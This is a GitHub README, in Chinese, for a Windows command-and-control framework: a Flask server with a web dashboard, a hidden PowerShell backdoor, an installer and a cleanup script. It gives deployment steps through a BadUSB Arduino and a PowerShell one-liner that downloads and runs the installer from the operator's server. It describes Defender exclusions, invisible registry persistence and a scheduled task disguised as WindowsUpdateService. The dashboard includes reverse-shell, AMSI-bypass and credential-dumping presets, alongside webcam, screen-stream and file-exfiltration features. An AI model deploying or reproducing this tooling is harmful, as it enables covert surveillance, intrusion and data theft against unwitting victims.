cr7799/c2-framework
GitHub: cr7799/c2-framework
基于 Flask 的轻量级 Windows 远程命令与控制框架,集成 Web 仪表盘、PowerShell 隐蔽后门及自动化部署与清理工具链。
Stars: 2 | Forks: 0
# 🎯 C2 Framework – Windows 远程命令与控制
[许可证:MIT] [Python 3.8+] [PowerShell 5.1+]
## 📖 概述
**C2 Framework** 是一个完整的远程管理解决方案,包含:
- 一个轻量级的 **基于 Flask 的 C2 服务器**,配备现代化的 Web 仪表盘。
- 一个**隐蔽的 PowerShell 后门**,可连接到服务器,执行命令并返回结果。
- 一个**安装程序**,用于部署带有持久化机制的后门并隐藏所有窗口。
- 一个**清理程序**,用于在测试后清除所有痕迹。
它使操作员能够:
- 在 Windows 机器上远程执行 PowerShell 命令。
- 捕获全屏截图(支持多显示器)。
- 传输带有鼠标控制的实时桌面视频流。
- 访问网络摄像头(通过附带的 `cam.exe` 工具)。
- 上传/下载文件和提取目录(ZIP)。
- 更换壁纸、播放声音、显示自定义弹出消息。
- 通过注册表 `Run` 键或计划任务维持持久化——完全不可见。
## 🧱 架构
| 组件 | 技术 | 目的 |
|-----------|------------|---------|
| `server.py` | Python + Flask | 托管 Web UI 和 REST API,用于处理命令/结果、文件上传和实时流传输。 |
| `backdoor.ps1` | PowerShell 5.1+ | 定期轮询命令、执行、结果提取。通过双重嵌套的 `Start-Process` 隐秘运行。 |
| `installer.ps1` | PowerShell GUI | 下载文件,添加 Defender 排除项,创建持久化,静默启动后门。 |
| `cleaner.ps1` | PowerShell | 终止进程,删除文件,移除注册表键和计划任务,还原 Defender 设置。 |
| `cam.exe` | 第三方 (或自定义) | 网络摄像头捕获工具 – 需要将 `image.jpg` 保存在 `%TEMP%` 中。 |
## ✨ 功能特性
### 🔹 服务器 (Flask)
- REST 端点:`/command`、`/set_command`、`/result`、`/upload`、`/stream_upload`、`/latest_frame`、`/status`
- 包含六个选项卡的 Web 仪表盘:终端输出、执行、文件操作、数据提取、媒体、实时视图
- 实时状态指示器(基于 30 秒心跳的在线/离线状态)
- 自动创建文件夹:`uploads/`、`results/`、`media_uploads/`、`stream_frames/`
### 🔹 后门 (PowerShell)
- SSL 证书验证绕过(信任所有证书)
- 每 10 秒循环一次,获取命令,通过 `Invoke-Expression` 执行
- 内置功能:
- `Capture-Screenshot` – 虚拟屏幕捕获(所有显示器)
- `Capture-Webcam` – 运行 `cam.exe` 并上传 `image.jpg`
- `Send-MouseClick {left|right|double}` – 使用 C# 的 `SendInput` 实现可靠点击
- `Start-ScreenStream` – 每 2 秒发送一次 JPEG 帧的后台作业
- 日志记录至 `C:\Users\Public\backdoor.log`
### 🔹 安装程序
- 图形化进度条 (Windows Forms)
- 从 C2 服务器下载 `backdoor.ps1` 和 `cam.exe`
- 解除已下载文件的阻止状态
- 为 `C:\Users\Public` 和 `%TEMP%` 添加 Defender 排除项
- 持久化:双重隐藏的注册表 `Run` 键(无窗口闪烁)
- 立即(隐藏)启动后门
### 🔹 清理程序
- 终止所有包含 `backdoor.ps1` 的 PowerShell 进程(通过 WMI)
- 删除所有已安装的文件(`backdoor.ps1`、`installer.ps1`、`cam.exe`)
- 移除 `HKCU` 和 `HKLM` 中的注册表 Run 键
- 取消注册计划任务 `WindowsUpdateService`
- 移除 Defender 排除项

## 🚀 快速开始
### 前置条件 (服务器)
- 安装了 Flask 的 Python 3.8+:`pip install flask`
- 任何能运行 Python 的操作系统(Linux, Windows, macOS)
### 前置条件 (目标机器)
- Windows 10 / 11 / Server 2016+
- PowerShell 5.1 或更高版本(通常已预装)
### 1. 配置服务器
1. 将所有文件(`server.py`、`backdoor.ps1`、`installer.ps1`、`cleaner.ps1`、`cam.exe`)放在同一目录中。
2. 编辑 `backdoor.ps1` 和 `installer.ps1` – 将变量 `$attacker` 更改为您服务器的 IP(例如,`192.168.1.53:8000`)。
3. 运行服务器:
python server.py
服务器默认监听 0.0.0.0:8000。
### 2. 部署到目标机器
选择以下方法之一:
**方法 A – Arduino BadUSB (全自动)**
- 将 `arduino.ino` 上传到 Arduino Leonardo、Micro 或兼容板。
- 编辑草图中的 IP 地址以匹配您的服务器(`192.168.1.53`)。
- 将 Arduino 插入目标机器。它将等待 3 秒,然后注入所有击键以下载并运行安装程序。不会保留任何可见窗口。
**方法 B – 直接从 PowerShell 执行安装程序**
```
powershell -ExecutionPolicy Bypass -Command "IEX (New-Object Net.WebClient).DownloadString('http://:8000/installer.ps1')"
```
**方法 C – 手动复制**
- 将 `installer.ps1` 复制到目标机器并运行:
```
.\installer.ps1
```
安装程序将下载必要的文件,设置持久化,并启动后门——所有过程均无可见窗口。
### 3. 访问 C2 仪表盘
打开浏览器并导航至:
```
http://:8000
```
您将看到带有状态指示器(绿点 = 后门在线)的主界面。开始发送命令吧!
### 4. 清理
完成测试后,在目标机器上(以管理员身份)运行以下命令:
```
powershell -ExecutionPolicy Bypass -File cleaner.ps1
```
## 🖥️ 仪表盘选项卡说明
| 选项卡 | 描述 |
| ------------------- | -------------------------------------------------------------------------------------------------------------------- |
| **TERMINAL OUTPUT** | 显示命令结果和文件上传通知。自动刷新。 |
| **EXECUTE** | 运行任意 PowerShell 命令或从预设中选择(反向 shell、AMSI 绕过、持久化、凭据导出)。 |
| **FILE OPS** | 在目标机器上创建、追加、删除、列出或读取文件。 |
| **EXFILTRATE** | 上传单个文件或将整个目录压缩为 ZIP 并发送至 C2 服务器。 |
| **MEDIA** | 更换壁纸或在目标机器上播放声音(上传您自己的媒体文件)。 |
| **LIVE VIEW** | 启动/停止屏幕流传输、截取屏幕截图,并控制鼠标(点击图像以移动光标)。 |
## 📁 项目结构
```
c2-framework/
├── server.py # Flask C2 server
├── backdoor.ps1 # PowerShell backdoor
├── installer.ps1 # Deployment script with GUI
├── cleaner.ps1 # Removal/cleanup script
├── arduino.ino # Arduino HID deployment payload
├── cam.exe # (supplied by user) webcam capture tool
├── uploads/ # Exfiltrated files (auto‑created)
├── results/ # Command output logs (auto‑created)
├── media_uploads/ # Wallpapers & sounds uploaded by attacker (auto‑created)
├── stream_frames/ # Live stream JPEG frames (auto‑created)
└── README.md # This file
```
## 🔧 故障排除
| 问题 | 解决方案 |
| -------------------------------------- | -------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| **`POST /upload` 返回 400** | 确保后门使用 `-ContentType 'application/octet-stream'`(提供的脚本中已设置)。仪表盘中的某些旧版提取命令使用了 `multipart/form-data`;如有需要,请替换为 `application/octet-stream`。 |
| **后门在重启后失效** | 检查注册表键 `HKCU:\Software\Microsoft\Windows\CurrentVersion\Run\WindowsUpdate`。如缺失,请重新运行安装程序。 |
| **PowerShell 窗口短暂闪烁** | 双重隐藏启动可阻止任何窗口显示。如果您看到闪烁,可能存在较旧的持久化条目——运行清理程序并重新安装。 |
| **实时流无图像** | 验证后门的 `Start-ScreenStream` 作业是否正在运行(`Get-Job`)。确认到 `/stream_upload` 的网络连通性。 |
| **摄像头捕获失败** | 确保 `cam.exe` 位于 `%TEMP%` 中。脚本最多等待 10 秒。通过在 PowerShell 中手动运行 `Capture-Webcam` 进行测试。 |
| **Arduino 注入无效** | 确保已正确上传 Arduino 草图,开发板被识别为键盘,并且启动时的延迟为驱动程序安装提供了足够的时间。 |
| **服务器无法提供 `.ps1` 文件** | Flask 通过通用路由提供其当前目录中的所有文件。请将脚本放置在与 `server.py` 相同的文件夹中。 |
## ⚖️ 法律免责声明
本软件**仅供教育目的和授权安全评估**(例如,渗透测试,对您拥有或已获得明确测试许可的系统进行红蓝对抗)。您有责任遵守所有适用法律。滥用此工具可能会导致刑事指控。作者对任何恶意或非法使用不承担任何责任。
## 📄 许可证
基于 MIT 许可证分发。
## 📬 联系方式
如有问题或建议,请在本仓库开启一个 issue。请**不要**寻求有关非法活动的帮助。
标签:AI合规, C2框架, DAST, Flask, GUI控制台, IPv6, MIT开源, OpenCanary, PowerShell, Python, TGT, Windows管理, 后门, 子域名枚举, 安全学习资源, 屏幕截图, 恶意软件分析, 攻击路径可视化, 攻防演练, 文件窃取, 无后门, 私有化部署, 系统安全, 网络安全, 网络安全审计, 网络摄像头, 远程控制, 远程桌面, 逆向工具, 防御规避, 隐私保护, 黑客工具